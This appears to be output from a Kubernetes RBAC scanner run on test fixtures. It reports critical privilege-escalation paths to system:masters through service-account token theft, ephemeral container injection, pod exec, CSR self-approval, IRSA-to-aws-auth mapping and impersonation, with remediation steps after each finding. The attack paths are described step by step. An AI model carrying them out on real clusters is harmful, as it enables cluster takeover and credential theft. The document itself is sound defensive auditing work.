  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-impersonate via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate.
  4. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses RBAC impersonation (the impersonate verb on impersonate users|groups) to send API requests as any identity in the cluster, including system:masters, which the apiserver hard-codes as cluster-admin. Granting impersonate on groups: ["*"] is functionally a cluster-admin grant.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-impersonate
  3. Step 3 of 3 RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
Remediation
Break the chain at the weakest hop: remove the impersonate users|groups capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the impersonate users|groups capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-impersonate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL

Subjects can impersonate `system:masters` in 1 hop(s), bypassing all RBAC

KUBE-PRIVESC-PATH-SYSTEM-MASTERS 9 subjects Score 9.6–8.6
MITRE ATT&CK: T1078.004T1098T1556T1068

Affected subjects (9)

CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint Cluster 9.6
ServiceAccount/csr-fixtures/sa-csr-mint can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-mintsystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (1 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-mint/ via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/csr-fixtures/sa-csr-mint.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest carrying O=system:masters in its Subject DN and self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The cluster CA signs the cert, and the attacker authenticates with it as system:masters, which the apiserver hard-codes as cluster-admin. The cert persists after the RBAC grant is revoked; only a CA rotation invalidates it.
  3. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create certificatesigningrequests + update certificatesigningrequests/approval that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint/).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create certificatesigningrequests + update certificatesigningrequests/approval that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint/).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 9.6
ServiceAccount/rbac-fixtures/sa-impersonate can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonatesystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (1 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate_system_masters (impersonate groups): can impersonate the system:masters group, bypassing all RBAC

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-impersonate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker impersonates the system:masters group (impersonate groups). The kube-apiserver hard-codes that group as authorized for every operation regardless of RBAC. A single such grant collapses the entire authorization layer.
  3. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the impersonate groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/cloud-eks-test/eks-admin-irsa Cluster 9.1
ServiceAccount/cloud-eks-test/eks-admin-irsa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-admin-irsasystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa

Subject ServiceAccount/cloud-eks-test/eks-admin-irsa can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
2. User/arn:aws:iam::123456789012:role/AdministratorAccess/ via aws_auth_admin (system:masters via aws-auth): external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cloud-eks-test/eks-admin-irsa.
  2. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  3. Acting as User/arn:aws:iam::123456789012:role/AdministratorAccess, the attacker uses the aws_auth_admin technique via system:masters via aws-auth, which gains external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  2. Step 2 of 2 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 9.1
ServiceAccount/privesc-fixtures/sa-ephemeral can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeralsystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint/ via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/csr-fixtures/sa-csr-mint via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest carrying O=system:masters in its Subject DN and self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The cluster CA signs the cert, and the attacker authenticates with it as system:masters, which the apiserver hard-codes as cluster-admin. The cert persists after the RBAC grant is revoked; only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 9.1
ServiceAccount/privesc-fixtures/sa-pod-exec can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-execsystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/csr-fixtures/sa-csr-mint via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint/ via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/csr-fixtures/sa-csr-mint and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest carrying O=system:masters in its Subject DN and self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The cluster CA signs the cert, and the attacker authenticates with it as system:masters, which the apiserver hard-codes as cluster-admin. The cert persists after the RBAC grant is revoked; only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.1
ServiceAccount/rbac-fixtures/sa-pod-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-createsystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-impersonate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-fixtures/sa-impersonate
2. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate_system_masters (impersonate groups): can impersonate the system:masters group, bypassing all RBAC

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-fixtures/sa-impersonate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker impersonates the system:masters group (impersonate groups). The kube-apiserver hard-codes that group as authorized for every operation regardless of RBAC. A single such grant collapses the entire authorization layer.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
